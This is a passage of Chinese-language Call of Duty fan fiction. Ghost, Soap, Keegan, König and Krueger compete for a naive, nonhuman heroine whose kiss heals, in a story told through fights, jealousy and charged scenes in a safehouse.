“你他妈干什么?!”Keegan瞬间暴起,一个擒拿将Kruger狠狠掼倒在地。混凝土地面被砸出裂痕,灰尘飞扬。
Konig的反应更快。他一把扯出针管甩到墙角,粗布巾下发出愤怒的嘶鸣,高大的身躯直接挡在Y/N面前,手指已经按在了扳机上。
如果这支药剂有任何问题,他发誓他一定会把Krueger的脑袋轰成肉泥。Krueger狞笑着反手挥刀,匕首擦着Keegan划过,他的腹部立刻渗出血痕。
Keegan立刻用地面技绞住对方脖颈,而Krueger咬破舌尖,一口血雾喷向Keegan眼睛,同时靴跟的隐藏刀片狠狠钩向对方小腿肌腱。
Ghost和Soap进来时,看到的就是这样一幕。
Keegan的小腿鲜血淋漓,却仍死死锁着Krueger的咽喉,Krueger的嘴角滴着血,目镜都被打碎了一半。Konig像堵人墙般护在Y/N前面,枪口对准缠斗的两人。
直到一只小手突然贴上Konig的后背。Y/N的声音恢复了往日的清亮,“小熊,你挡着我看戏了。”
Krueger顿时喉咙里哼出笑来,破碎的目镜后闪过病态的得意,“看吧!我的法子才有用!”
Keegan并没有因为Y/N恢复平常的样子就觉得安心。他捂着渗血的腹部站起身,手中的枪已经上膛,黑洞洞的枪口直指对方。
“What the fuck did you inject into her?(你他妈给她打了什么?)”
声音冷得像南极冻土,“I don''t need orders to drop you right fucking now.”(我现在就能处决了你。)
听到Keegan的话,Ghost的动作更快,他反手一把掐住Krueger的喉咙,直接将他抵在了墙面上,“说。”
Krueger被掐得青筋暴起,眼里却依然是兴奋,“战场特供兴奋剂,能彻底剥离人性。这不正是Mein Katzchen(我的小猫)现在最需要的?”
“Heh,你的小猫?”Ghost的嗓音透过面罩传出,带着金属摩擦般的冰冷。他松开钳制的手,像甩开一块腐肉般将对方推开。
“一条疯狗还想玩过家家?可笑。”
骷髅面罩下传来一声轻蔑的鼻息。
“滚回你的刚果, I hear the children miss their butcher.”(听说那些孩子们想念他们的屠夫。)他最后半句压低成气音,同时右手已按上腰间的匕首。
“Ach,我的kleiner Skelett。(小骷髅)”Krueger缓缓直起身子,嗓音发出湿黏的嘶鸣,手指抚过被Ghost抓皱的衣领。
“狗? Nein... (我是狼)专吃你这样的骨头。呵,至少在那种地方,ist ein Messer in Kinderhanden nu tzlicher als ein Buch(幼崽手里握刀,比捧书有用得多。)
Soap也在一旁搭腔讽刺,“豺狼集团是拿腐肉给你发工资吗?倒是挺配你。”
Y/N没搞懂怎么了,大家为什么都开始攻击Krueger了,“你们为什么欺负他?”
“哈!”Krueger趁机一个利落的翻滚,直接坐到Y/N身旁将她揽进怀里。
他沾血的下巴亲昵地蹭着她发顶,声音甜得发腻,“就是啊小猫,他们突然都想杀了我呢。”
“你!你!你离她远点!”konig要伸手扯他,Krueger却像条滑溜的毒蛇,一把将Y/N打横抱起,轻巧地闪到另一侧。
整个房间的气压瞬间低得吓人。
他的指尖卷起她一缕头发绕在手里,“小猫,要不要跟我出去玩?”
“不去。”
“为什么?”他俯身凑近,面罩下呼吸喷出的热气拂过她耳尖。
她突然抬头,眼睛直直望着他,“你带我去的地方。”停顿了一下,又说道,“我不喜欢。”说完从他怀里挣脱,轻巧地跳到地上。
Krueger的眼瞬间冷下来,是了,上次要不是心血来潮带她去那个地下屠宰场,就不会有这么多事了,否则现在他俩玩的很开心。
“我饿了。”
Y/N的声音刚落下,Keegan已经伸出手掌,掌心朝上。她自然而然地搭上去,纤细的手指被男人宽大手完全包裹。
Krueger紧握住刀柄,他刚刚就该割开这个男人的喉咙。什么时候开始的?他的小野猫什么时候学会对别人露出这种毫无防备的姿态?
Ghost也盯着那两只相握的手,Fucking diabolical
(真他妈邪门),从他接下化学家这个任务开始,到底发生了多少事?
更该死的是,他现在甚至分不清哪种更让他暴躁。是自己接连两个任务都未顺利,还是此刻,她牵着别人手的自然程度,仿佛那本该就是她的位置。
房间里两个男人,心思各异,走廊上,Konig像只焦虑的巨型犬,在Y/N另一侧来回踱步,他几次抬起手又缩回去,直到Y/N看懂他的意图,主动牵住他。
13. 自娱自乐
Keegan的手掌紧握着Y/N的手,力道不轻不重。Y/N的另一只手被Konig小心翼翼地攥在掌心。
三人穿过长廊,脚步声在空荡的走廊里回荡,每一步都像是踩在Keegan记忆的碎片上。
餐厨区域的灯光昏黄,空气中弥漫着陈旧的灰尘。Keegan腹部的伤口仍在渗血,暗红色的痕迹在战术服上扩散,但他感觉不到疼痛。
他的目光扫过这片区域,眼神逐渐暗沉,长桌上还摆着三个变色的咖啡杯,陈旧的冰箱门上贴着泛黄的便签,上面潦草地写着“轮到你洗碗了,混蛋”。
那些身影仿佛还在这里,笑着的,活着的。
在两日前,Keegan驾驶着那架私人飞机划过黑海上空时,操纵杆几乎要被捏出裂痕。
那架飞机正载着他们,驶向那个他再也没敢踏足的安全屋,那曾是他和已故战友们最后的庇护所。
可此刻,机舱里却坐着Krueger那样的存在。那个疯子正坐在Y/N身边,用沾血的匕首削着苹果,哼着走调的军歌,仿佛这只是一场郊游。
他是纯粹的完美主义者,深谙战争的残酷规则,却从不沉溺其中。而Krueger?那不过是被战争彻底自愿腐蚀的野兽,是人性溃烂后滋生的霉菌。
有些恶,是必须摧毁的强敌,那是责任。而有些恶,是该被焚烧的病毒,连恨都多余。带后者踏入他与逝去战友的避风港?简直是一种亵渎。
要不是Ghost在登机前按住他的枪管说“这条豺狼还有用”,他早在港口就把Krueger的脑袋轰成碎渣。
Keegan的掌心突然被一股力道拽住,他低头,正对上Y/N直勾勾的目光。Konig早就咚咚咚地跑去隔壁粮仓翻箱倒柜了。
“你怎么了?”Y/N她说不清为什么,但眼前这个男人总让她想起山林里湿重的晨雾,沉闷,潮湿,裹得人透不过气。
“没事。”Keegan避开她的视线,松开手走向后厨,“想吃上次那种三明治吗?”
转身时战术服无意掀起,Y/N这才发现他腹部早已被血浸透。原来是因为这个。那股没来由的烦闷突然有了答案。
她猛地将Keegan按在墙上,俯身时发丝扫过他的下巴。Keegan瞳孔骤缩,伸手去拦,“等,”
温软的唇已经贴上伤口。
“嘶......”Keegan浑身一颤,他此时只能听见冰箱的压缩机发出老旧的嗡鸣。
Keegan在这瞬间忘记呼吸。
他能清晰地感受到Y/N的鼻息拂过腹肌的纹路,温热,潮湿,像一把钝刀,缓慢地剖开他的防线。
血液黏腻的触感本该令人不适,可她的唇却像烙铁,烫得他肌肉绷紧。
这不对。理智在脑中尖锐地鸣响,可身体却背叛了他。
那只原本要推开她的手,此刻正不受控地陷入她后颈的发丝间,指尖甚至能感受到那脉搏的跳动,一下,两下,与他逐渐加速的心跳诡异地同步。
更糟的是,伤口处传来的不仅是愈合的酥麻,还有一种更深处的,近乎危险的灼热,正顺着血管蔓延至四肢百骸。
他咬紧后槽牙,喉结滚动,却无法抑制颈侧暴起的青筋。
老天,她到底知不知道自己在做什么?
“你好了吧?”Y/N直起身,唇边还残留着一抹鲜红,像刚偷尝了野果的幼兽。
Keegan这才迟钝地低头,腹部的伤口竟已完全愈合,连疤痕都没留下。
可他的视线却死死钉在她的唇上。
指尖从她颈间滑至下颌,轻轻蹭过那抹殷红。温热的,湿润的,带着铁锈味的,他的血。
冰箱的嗡鸣在耳边无限放大,几乎盖不住胸腔里震耳欲聋的心跳。
咚,咚。
每一声都像在叩击他的理智。
拇指无意识地加重力道,将那抹血色晕开在她唇角。他盯着自己染红的指腹,突然想起战场上被子弹击中时的瞬间,也是这般灼热的,眩晕的,带着濒死般的快意。
“嗯,我好了。”
Keegan坐在餐桌对面,视线落在Y/N安静咀嚼三明治的模样上。面包屑沾在她的嘴角,她伸出舌尖轻轻舔掉,这个再普通不过的动作,却让他喉头发紧。
他突然意识到,她的唇不仅将他的恐惧没收,不只能让他在深水中重新呼吸。现在,它甚至能愈合他的伤口。
Ghost和Soap推门而入,Krueger懒洋洋地跟在他们身后,面罩下的眼里挂着玩味的笑意。
他根本不在乎这些“军犬”对他的厌恶。在他眼里,他们不过是迟早会躺上他屠宰台的肉块罢了。而他们的敌意,反而让他兴奋,像嗅到了血腥味的鲨鱼,连瞳孔都在扩大。
Konig像只囤积松果的松鼠般跌跌撞撞走来,怀里抱着的食物几乎要溢出来。他小心翼翼地在Y/N身边落座,把各种罐头和食品在桌上铺展开,又堆成金字塔状。
当脚步声传来时,他迅速将塔尖的蛋白凝胶塞进背心的暗袋,把所有食物往Y/N方向推,“都,都给你...我检查过保质期了.…”
Ghost和Soap自然地围坐在他们周围,枪械与护甲碰撞发出金属轻响。Krueger却像回到自己巢穴的野兽,径直走向粮仓,翻出肉罐头和几瓶烈酒。
厨房门的小窗上映出他晃悠的人影,滋啦的声响中香气飘来,Y/N忍不住转头,他用匕首柄敲了敲玻璃窗,隔着蒸腾的油烟对Y/N勾动手指。
她刚站起身,Ghost的手掌便重重扣住她的肩膀。黑色手套下的五指收拢。
能看见骷髅面下,他眯虚起的眼睛,那是狼锁定目标时的锐利,正死死盯着厨房的方向。
“你最好离那只疯狗远点。”他的声音从面具后传来,透着一股压抑。
Y/N见过Krueger的残暴,以及对血液过分的支配欲望,虽然她并不喜欢。
但在她看来,Krueger不过就是一只不得章法,病态的,被族群早早抛弃的狐狸。从未学习过正确的狩猎方式,所以只能将杀戮扭曲成一场血腥的游戏。
她轻拂开Ghost的手背,“没事,他打不过我。”
面罩后传来一声轻哼,虽看不见表情,但Soap注意到Ghost原本紧绷的手臂线条柔和了许多,这骷髅脸绝对在偷笑。
厨房里,Krueger用匕首尖挑起一片煎得焦香的肉片,递到Y/N唇边。她却抿着嘴没动,Krueger危险地眯起眼睛,“什么意思?我喂的就不吃,那军犬给的你就吃?”
“你这刀,”Y/N盯着泛着寒光的刀刃,“洗了吗?”
Krueger一怔,没想到她在意这个。哈,有什么好在意的,刚想反驳,却突然想起这匕首确实捅穿过几个维克多手下的喉咙。
更何况那群杂碎还碰过他的小猫,而且他早发现了,这小野猫记仇得很。
Krueger手腕一抖,刀尖上的肉片“啪”地甩进洗碗池。
他拧开水龙头,指腹用力蹭过匕首的每一寸锋刃,连血槽里的陈年污垢都抠得干干净净。水流冲了足足两分钟。
“满意了?”他重新叉起一块滋滋冒油的肉,这次Y/N乖乖张嘴接了。咀嚼时腮帮一鼓一鼓的,咽下去后还主动仰起脸等投喂。
Krueger斜靠在料理台边,左肘支着台面,右手持刀在煎锅里挑挑拣拣,专选带焦边的肉块叉给她。
金属与锅底碰撞的叮当声里,面罩缝下的眼里闪着明显的愉悦。
而Krueger单方面逐渐感觉,空气
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中的味儿似乎变了,他目光黏在Y/N嘴角那滴将落未落的肉汁上,看着她粉色唇瓣一次次裹住自己的匕首,进进出出。
他突然直起身,刀在掌心转出个漂亮的银花归鞘。牙齿咬住手套指尖,一扯。
带着茧的指腹,直接探进还在滋滋作响的煎锅,捻起一块滚烫的肉。
油星溅在皮肤上烫出红痕,他却像感觉不到痛,把冒着热气的肉块抵到她唇边,眼里滚着比火还要烫的东西,“最后一块。”
Y/N顺从地张开双唇,他将那肉搁在她柔软的舌尖。
下一秒,粗糙的食指已经抵了进来,指腹碾过她的舌面,指节抵着她的下齿,缓慢而强硬地将肉块推进深处。
直到确认那肉彻底滑入咽喉,才慢条斯理地抽回手指,指尖牵连出一丝晶亮的口涎,混着肉汁的香气。
餐厅里只剩下三人,Konig早已缩回房间。Ghost,Soap和Keegan围坐在桌边,三人的影子压在展开的地图上。
Ghost的手叩在马卡洛夫的据点坐标上,像在敲一块墓碑。
“两队。Soap带着那两条野狗打正面。把他们的眼球都钉在你们身上。”
骨骼指节的手套划过通风管道示意图,指向化学家的照片,“我走这条捷径。那书呆子要么喘着气出来。”
男人偏过头看向厨房,门上的玻璃窗看不见里面动静,他的嗓音低哑得像磨过砂纸,“要么用脑浆给他的研究报告签名。”
他转向Keegan,“我们从B3撤离,你提前布置□□,狙击埋伏好。”
Keegan也顺着他看了眼厨房,拿出张维克多的照片,“但在这之前,我们先解决他。少一个变量,就少一分意外。”
Soap看眼前这两人时不时往厨房瞅的样子,撑着身子站起,“行,你们怎么说我怎么做,我先去弄点吃的,顺便看看我的仙女教母。”
两人的视线随着Soap的身影转向厨房,Krueger正推门而出,整个人散发着餍足的危险气息。
他那只手仍停留在皮革面之下,在布料下缓慢摩挲着自己的嘴唇,仿佛在回味什么美味。
粗糙缝线间露出的那只眼亮得惊人,像是刚享用完猎物的野兽,瞳孔里跳动着赤裸的挑衅与炫耀。
面罩下传来黏腻的轻响,混合着满足的哼笑。他刻意将沾染着Y/N唾液的手指在面罩内又舔了一圈,喉结滚动着咽下什么似的。
这个动作做得极其缓慢,就像在向所有人宣告,他尝到了他们永远尝不到的滋味。
Soap困惑地皱起眉头,显然没读懂Krueger这番表演的潜台词。但Ghost和Keegan几乎是同时绷紧了身体。
“Y/N,出来。”Ghost的声音从骷髅后传来,低沉得像是暴风雨前的闷雷,Keegan的拳头在桌上攥紧。
厨房门边探出半个脑袋,Y/N唇上还闪着油光,“怎么了?”
“你们刚才在做什么。”Ghost的声音里压着某种危险的东西,脖颈处的肌肉绷出凌厉的线条。
“吃肉啊。”她舌尖扫过嘴角,浑然不觉地答道。
Krueger故意从他们身边擦过,他俯身在Ghost耳边,用只有三人能听见的气音说,“是啊,吃的可是你们永远吃不到的……”
喉结重重一滚,把后半截话硬生生咽了回去,只从唇间漏出一声黏腻的“啵”响,晃着肩膀走远了。
Soap看着坐在餐厅的那两人,他敢打赌,要是现在往那中间扔颗生鸡蛋,绝对能听见“滋啦”一声煎成熟的。
“我太饿了!”他一个滑步窜进厨房,动作敏捷得能去参加奥运会体操预选赛。
还不忘把Y/N推出去关上门,这可不是怂,这叫战术性规避友军火力误伤!
14. 自娱自乐
这座安全屋的规模恰到好处。不算宽敞但绝不逼仄,宿舍区、监控室、休闲区、餐厨空间和武器库一应俱全,像被精心设计过的蜂巢。
六间宿舍整齐排列,每间都配备了四张军用折叠床,硬邦邦的床垫上还留着过去使用者压出的凹陷。
入夜,这正是Y/N最精神的时段。而Krueger不知去向,安全屋里没了他的身影,对其他几个男人来说连空气似乎都轻松了几分。
他们各自选了房间休整,养精蓄锐,为接下来的行动储备体力。
但Konig从不睡觉,他似乎天生就缺乏正常人的睡眠需求,就算必须休息维持体能,也得靠药物强行关机。
此刻他正蜷在Y/N身边的沙发下,陪她在休息室看一部老电影。Keegan顺手打开角落的储物箱,里面塞满了各种影碟,足够他们消磨整个夜晚。
Ghost和Keegan对Konig的态度与对Krueger的不同。在他们眼里,这个高大的奥地利人更像一条无家可归的流浪犬,那些病态的杀戮本能都是被强行灌输的。
有时候他们甚至觉得,Konig比Y/N更像一只懵懂的幼兽,他对Y/N毫无邪念,只是单纯把她当作童话里的仙女,笨拙地想要守护这份温暖。
深夜将至,Ghost在监控室多停留了二十分钟,反复检查外围警报系统。
Keegan则惯例地擦拭完所有武器才躺下。Soap把自己摔进床铺时发出满足的叹息,三秒后就响起了鼾声。
而休息室内,Y/N一眨不眨地盯着电视里新婚男女接吻的画面,突然转头问konig,“为什么他们要嘴对嘴,没有受伤,呼吸正常,为什么?”
konig的麻布头套下传来急促的摩擦声。他僵硬地别过身子,战术手套不自觉地揪紧膝头的布料。
“可...可能是...他们...肺功能...有问题...”声音越来越小,像是被掐住喉咙的狗。
他不是不懂,他在军营里见过太多人去找女人,听过战壕里有人炫耀婚戒。
那些画面让他反胃,在他的认知里,婚姻是高级的战壕情谊,而他这样的怪物只配在阴暗处腐烂。
爱情?他连自己的脸都记不清了,那种东西比头套下的真容还要虚幻。
他早已把自己注册为一件武器,而武器是不需要心跳的。
Konig躲在阴影里,粗麻布的纤维随着呼吸微微颤动。他看见 Y/N 歪着头,死死盯着电视屏幕,那对男女正纠缠着交换唾液,像两条缺氧的鱼。
“他们为什么这样来回动?”她喃喃自语,“这样效果更好吗?”
Konig的脊椎突然绷直。
“我对他没用这种方式也一样有效。”
麻布下的瞳孔骤然收缩,他的声音卡在喉间,像一颗哑弹,
“Du… du… Y/N…Mit WEM? WARUM?”(“和谁?!为什么?!”)
她蜷在沙发里,膝盖抵着胸口。记不清那个男人的名字,只朝宿舍方向随意一指,“因为他需要。”否则他早就溺死在水底了。
Konig不受控地攥紧了自己的粗布巾下缘,好奇怪,他想吐,可这不是反胃。
像是更锋利的东西,正顺着肋骨往上爬,要剖开他的战术背心,剜出一块他根本不认识的器官。
他忽然希望自己真的只是一把枪。至少枪不会在扳机孔里,尝到铁锈的酸涩。
他的“蓝发仙子”怎么能,怎么能和普通人做这种事?这是亵渎!是侮辱!是谁,是谁用那种令人作呕的手段触碰了她?
难道是Krueger?对,一定是他。只有他!才会那么恶劣,那么狠毒……那么……那么让人作呕。
Krueger那样的东西,竟敢玷污“蓝发仙子”?连他自己都只敢远远等待,小心翼翼,连他,连他! 都不敢僭越半步。
可为什么?为什么Krueger那种腐烂的野兽都能触碰美好?
……那自己呢?
自己应该比Krueger要好吧?至少……至少他不会剥皮取乐,至少他的枪口只对准命令里的目标。
如果Krueger都能被允许靠近,那凭什么……不能是他?
头套下的呼吸越来越重。或许,他也可以?不,他必须可以,他比Krueger干净,比Krueger虔诚,他才是那个最有资格,触碰“蓝发仙子”的人。
“......我,我也需要!”
Konig突然结结巴巴地开口,声音闷在面罩里,像是被困住的小兽在呜咽。
Y/N歪头看他,“可是小熊,你明明能正常呼吸呀。”
他僵住了,头套下的呼吸声变得又急又重。下一秒,他突然用双手死死掐紧自己的面罩,布料深陷进皮肉里。
“现,现在......”他的声音从勒紧的布料缝隙里挤出来,带着某种焦躁的固执,“我......不能呼吸了!”
Y/N不理解他在做什么。
她突然皱起了眉,连她自己也不明白为什么要皱眉。就这么静静看着Konig,看着他一点一点勒紧自己,直到呼吸被扼制,身体不受控地颤抖。
她靠了过去。近到能看清他充血的眼睛,近到能听见粗麻布下紊乱的喘息。
她盯着他,轻声问,“小熊,你的嘴在哪?”
Konig松开一只手,在粗布上某个位置点了点,而另一只手仍死死勒着自己,仿佛那是他唯一能掌控的刑罚。
然后,她吻了他。
隔着粗糙的布料,触感却清晰得近乎灼烧。Konig连眼睛都不敢眨,就这么僵直地注视着她,感受着温度,柔软,以及逐渐模糊的意识。
如果这就是死亡,那该多美好啊。
突然,Konig猛地将Y/N拽进怀里,粗麻布头套下的呼吸声沉重,紊乱。
他似乎突然理解了电视里那两个缺氧的鱼。
他现在也觉得自己像一条被抛上岸的鱼,窒息,濒死,而所有氧气都藏在Y/N唇齿之间。
布料粗粝的触感不停蹭过Y/N的脸颊,他急不可耐地扯开一角,却又瞬间僵住。
“...Nein, ich darf nicht...”(不,我不该...)
他的手指掐进Y/N的腰,像抓住浮木的溺水者,既想掠夺,又恐惧救赎。
“Y/N….Bitte... lass mich atmen...”(求你...让我呼吸...)
Y/N侧坐在他怀里,发现在他身上坐着,跟在那沙发上坐着没区别,也就索性没再起身。
她抬手勾住konig面罩上的窟窿,贴着他的眼睛说道,“你现在有呼吸了,小熊。”
Konig不受控地将她箍得更紧,胸膛剧烈起伏,湛蓝的眼在阴影中灼亮得骇人。
“…不…不够…” 他声音发颤,喉结滚动得像吞了刀片,“我…我好像…肚子里有虫在乱窜…”
手指揪住她衣角,又猛地松开,仿佛那布料会烫伤他,“帮…帮帮我…”
konig不是傻子,他知道自己怎么了。但这具被碾碎又草草拼凑的身体,居然还能为谁烧起这种肮脏的火?
他该觉得恶心,Y/N是他的蓝发仙子,是唯一肯触碰他绷带下溃烂灵魂的人,他怎么能用这种,野兽发情般的反应亵渎她。
可他又隐秘地狂喜,是不是她的魔法太强,自己终于能被变回人类男孩了?
Y/N凝视着他,视线滑向他的腹部,没有伤口,只有紧绷的肌肉在剧烈起伏。
她再次抬眼看他,小熊的状态令人揪心,瞳孔紧缩,呼吸破碎,恐惧与某种扭曲的亢奋在眼底撕扯。
Y/N喜欢小熊,从第一眼见到konig时,就莫名喜欢他。那种毫无防备的脆弱感,让她本能地想要蜷缩在他身边。
在他身边时,Y/N总能闻到树木被阳光晒暖的气息,听见溪水流过青苔的细响,仿佛一瞬间回到了山林深处。
“我要怎么做,小熊?”
他的声音像生锈的齿轮,卡在喘息间,“像….像..刚刚那样…让我能一直….一直呼吸….求..求求你了…”
Y/N沉默了片刻。
忽然,她伸手捏住粗麻布的下边缘,布料粗糙的触感扎着指腹。
“你愿意让我进去吗?”
不是掀开,而是进入。仿佛那层麻布不是屏障,而是通往他巢穴的裂缝。
他颤抖得更厉害了,Konig的瞳孔在黑暗中疯狂收缩,“我…我….不能有人…看见我…我的脸…”
“知道了。”
他以为Y/N会退开,可她突然闭上眼,拽起粗麻布的一角,将自己彻底裹进他的黑暗里。
“我看不见。” 她的呼吸拂过他锁骨的绷带,“但你可以带我找到你。”
Konig僵住了。除了那只他曾在战区喂过的野狗,这是第一次有谁离他这么近。
第一次,有人主动走进他的茧。第一次,有人不要求他撕裂自己,却愿意陪他蜷缩在腐朽的壳中。
而这个人,偏偏是Y/N,是他无条件信任的蓝发仙子。她说看不见,那她的世界就一定只剩虚无。
他小心翼翼地,先触到她的睫毛,触碰像试探雷区般轻颤,然后是鼻梁,脸颊,最后停在嘴唇。<
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他舔了上去,就像品尝她曾给他的热可可,那种甜腻的,几乎灼伤他的温度。
小口地。贪婪地。
仿佛这是唯一被允许的祷告方式。
Konig竟然睡着了。像个被摸顺了毛的野兽,在Y/N的触碰下,他紧绷的神经一寸寸断裂,最终坠入无梦的黑暗。
当他再度睁眼时,天光早已大亮。而他怀里蜷着熟睡的Y/N。
这太荒谬了,他本该在凌晨惊醒,本该被幻听撕咬,本该灌下第数支镇静剂。
可昨夜,他竟然像个人类一样沉睡,甚至没有噩梦来掐他的喉咙。
他低头,粗麻布下的阴影笼罩住Y/N的脸。舌尖悄悄擦过她的唇缝,野兽般确认食物存活般轻舔。
然后小心翼翼将她抱到沙发上,他嘶哑的嗓音磨着她的耳骨,
“Y/N…我的蓝发仙子…我的…我的…”词句碎在齿间,最终变成一句扭曲的誓言,“我将永远渴望窒息。”
Konig拖着脚步走出安全屋,粗麻布头套下的呼吸声比平时更重。他忍不住一瞥了三回头,像条不得不出门觅食的狗,既不甘心又不敢停留。
Ghost正巧推门进来,身上还带着硝烟和汗水混合的气味。他单手拎着战术头盔,另一只手甩了甩被浸湿的袖口,瞥见Konig那副魂不守舍的样子。
“流浪狗,赶紧去练练枪吧。” 他的声音沙哑却锋利,“别再关键时候卡壳了,害目标也跟着受伤。”
Konig的肩膀猛地绷紧,声音闷在布料后面,像是从地底挤出来的,“我,我知道….不用你说….”
两人擦肩而过的瞬间,Ghost忽然侧头,面具下的视线像刀尖抵住Konig的后颈。
“不用我说就自觉点,” 他轻哼,“真当自己是泰迪熊了?”
在Konig耳里,Ghost的语气带着那种特有的,近乎残忍的调侃,仿佛在嘲笑他的挣扎,又像是在提醒他,连当玩具的资格都没有。
Ghost刚冲完澡,身上还带着未散的水汽。他没穿惯常的战术服,只套了件黑色长袖高领阻燃内衣,布料紧贴着他精悍的肌肉线条。
他走到休息区,站在沙发背后,目光落在蜷成一团的Y/N 身上。
宽大的连帽衫松松垮垮地罩着她,两条光裸的腿就这么毫无防备地搭在沙发边缘。
“该死。” Ghost面具下的眉头拧紧,“她是不知道裤子是什么东西吗?”
正想着,Y/N又在睡梦中翻了个身,衣摆被蹭得更高,露出一截柔软的腰线。
“啧。”
他直接大步跨到沙发前,一把将人捞起来。Y/N迷迷糊糊地 “唔”了一声,脑袋在他怀里蹭了蹭,找了个舒服的姿势继续睡。
这是Ghost第一次在毫无战术装备阻隔的情况下,贴着一个女人。
以往救人,哪怕是女性,也都隔着厚重的防弹衣,战术腰带和护膝。可此刻,他能清晰地感受到她身体的柔软,像一团温热的云,毫无防备地陷在他怀里。
她腿上的肌肤贴着他的手掌,细腻得让他指尖不自觉地绷紧。呼吸轻扫过他的锁骨,带着一点睡眠中的潮热。
太近了。
他下意识地想松手,可Y/N却在这时往他胸膛上贴了贴,像是本能地寻找热源。
Ghost将她抱进空置的宿舍,轻放在床上。他单膝跪地,低头检查她手上的咬痕。果然,伤口愈合得极慢,甚至比昨日看起来还要狰狞。
他沉默地盯着那道痕迹,指腹擦过边缘,然后像是突然意识到什么,猛地收回手。
她在影响他。
Ghost直起身,伸手拨开她脸上的碎发,冷冽的目光一寸寸审视着她的脸。
不得不承认,她很美。
但他见过太多美人,男人或女人,在他眼里都只是“目标”或“障碍”。男女关系?那是令人作呕的无意义噪音。
他对性毫无兴趣,更不需要用女人来填补什么空虚,他的欲望早已被炼制成对弹匣容量的偏执,他的高潮是子弹击穿颅骨的瞬间。
可这个女人,她的存在,像一颗卡在他大脑里的“未知变量”,让他多了一份不该有的烦躁。
虽然还比不上任务失误带来的暴怒,但,这已经是错误了,而且是大错。
他们才接触过几次?他甚至已经开始“观察”她,而不是“评估威胁”。
Ghost收回手,站起身。她是非人之物,身上或许带着蛊惑性的物质,又或者只是某种他尚未理解的异常效应。
无论如何,保持距离才是最优解。
可他的脚步却在离开时停顿了一秒。
15. 自娱自乐
Keegan 正在安全屋外的树林边缘,二十米开外,是他多年前亲手搭的小木屋。
这里曾是他的私人训练场。一个远离战场喧嚣,只属于他的地方。但如今,木屋门框已爬满藤蔓,而他手中这把弩,也蒙上厚厚的尘。
这是他最喜爱的武器,但他的武器从来不是为杀戮而存在,而是为了一场缓慢的审判。
Keegan不追求一击毙命的效率,也不沉迷鲜血喷溅的快感。他要的,是让那些仇敌看清箭矢的寒光,听清弓弦绷紧的颤音,甚至在箭头没入胸膛前的最后一秒,听见自己牙关打颤的忏悔。
毕竟太快的武器都太过仁慈,死亡转瞬即逝,连恐惧都来不及沉淀。
他并非嗜血,只是固执地认为,真正的复仇,必须让死亡足够慢,慢到能听见灵魂崩裂的声音。
可惜,即使箭矢再缓,那些该忏悔的人,终究未曾悔过。于是他的弩,似乎最终也成了另一种沉默的墓碑。
男人带茧的指腹划过弩上的刻痕,那个深深的罗马数字“XXIII”,像是用刀锋蘸着血刻进去的。
每一道笔画都记录着一个再也回不来的名字,一张永远凝固在记忆里的面孔。
每当箭矢穿透又一个仇敌的咽喉,他就会在木质的弩托上刻下一道新的伤痕。
不是胜利的标记,而是又一块拼凑完整的墓碑。
二十三道划痕,就是二十三场他本该参加的葬礼,二十三句他没能亲口说出的告别。
他的血肉早已被那“二十三”蚀空,骨骼成了数字的支架,脉搏只是倒计时的秒针。
他时常恍惚,自己究竟是Keegan Russ,还是一具会行走的尸体。活着,不过是为了用仇人的血,在世上涂出深浅不一的红。
他敬佩像Ghost那样的军人,为杀死战争本身而杀。而他不是,他没有灵魂,没有自由。
他只剩责任,不是使命,不是荣誉,只是机械般精准的“必须”。
男人静坐在木墩上,手指搭在弩弦之上,仿佛在丈量时间的流逝。
从追随着太阳缓慢爬升的轨迹,看着它从苍白到刺目,再渐渐褪去锋芒,直到月亮悄然占据夜空。
一道脚步声突兀地撕裂了寂静。他瞬间抬弩,准星锁定声源,却在看清来人后立刻垂下手臂。
是Y/N。
这孩子是怎么找到这里的?只套了一件他的连帽衫,下摆堪堪遮住大腿,赤脚踩在冰冷的泥地上,脚趾微微蜷缩着。
夜风掠过,衣摆晃动,露出更多苍白的皮肤。
他皱眉,声音沙哑,“怎么穿这么少?不冷吗?”
她向前一步,踩碎了一地月光,“好像冷,又好像不冷。”
他看见Y/N手里拿了一袋面包,然后递到他面前,“我还想吃那个。”
Keegan接过来,面罩下的唇不自觉勾起,他朝她伸手,Y/N自然而然牵了上来,掌心贴着他的指节,两人沉默地走在林间小径上,只有枯枝在脚下发出细碎的断裂声。
Keegan喜欢和Y/N在一起,不仅仅是因为她身上那种近乎魔法的安抚力,更因她独特的温度,既不灼热也不冷漠,对他来说,她的存在本身就是一个恰到好处的刻度。
就像他最爱的弩,比枪更慢,比刀更远,一切都刚刚好,在暴烈与克制间有完美的平衡点。
在Y/N身边,他总能找到一种奇异的安全感。
她足够强大,不需要他刻意保护。她不懂人类复杂的情感,因此也不会对他的沉默与阴郁投以异样或关切。
Keegan想,如果他只是个普通的士兵,没有背负那些血与火的过往,或许会渴望与她这样的女人共度余生。
这个念头让他不自觉地轻笑出声。真是荒谬啊,和她在一起,竟让他安心到开始幻想这些事。
但现实是,他终究不是普通人,而她,或许也永远不会理解,他此刻嘴角那抹苦涩的弧度,究竟意味着什么。
他带着Y/N来到小屋,她径直走向沙发坐下。这里既不像安全屋,也不同于上次去过的那个住所,她从未来过这样的地方。
昨天在电视上见过,这种屋子似乎叫“家”。有蓬松的毛毯,有印着花纹的窗帘,有木纹的餐桌,还有摆在柜子上的相框。
“这是你的家?”她站起身,指尖划过茶几边缘,目光扫过每一处细节。
Keegan沉默了片刻,指尖在锅柄上微微收紧。
“不是。”他回答得很轻,油锅里煎蛋的边缘泛起焦黄的脆边。
“那它就是我的了。”她满意地拍了拍木桌,指腹蹭过一道陈年划痕,“等我回山里时,要把它搬走。”
Keegan的动作突然顿住。蛋液在热油里发出细微的爆裂声,他垂下头,肩膀抖了一下,接着竟笑出声来。
他将煎蛋铲起放入一片火腿,朝她招手,她凑过去,鼻尖翕动着嗅香气,却被他突然揉了揉发顶。
“所以现在,”他声音里带着未散的笑意,像在哄一只叼走他围巾的狐狸,“这是你家了?”
“对,我们俩在这里,不是你的,那就是我的。”
Keegan的胸腔微微震动,低笑声像暖炉里噼啪爆开的柴火星。灰蓝色的眼睛弯成两道月牙,睫毛在炉火中投出细碎的阴影。
那种笑意太鲜活,仿佛连他身上每一处旧疤都柔软了几分。
锅里的火腿正滋滋渗出油花。他关掉火,金属夹还悬在半空,就感觉袖口被拽了拽。
Y/N仰着脸张开嘴,像只等待投喂的雏鸟。
“怎么了?”Keegan举着夹子愣住,“现在就要吃?”
“嗯。”她的舌尖抵着上颚,发出催促声,“Krueger就是这样喂我的。”
空气突然凝滞。油滴在冷却的锅底发出“嗤”的轻响,
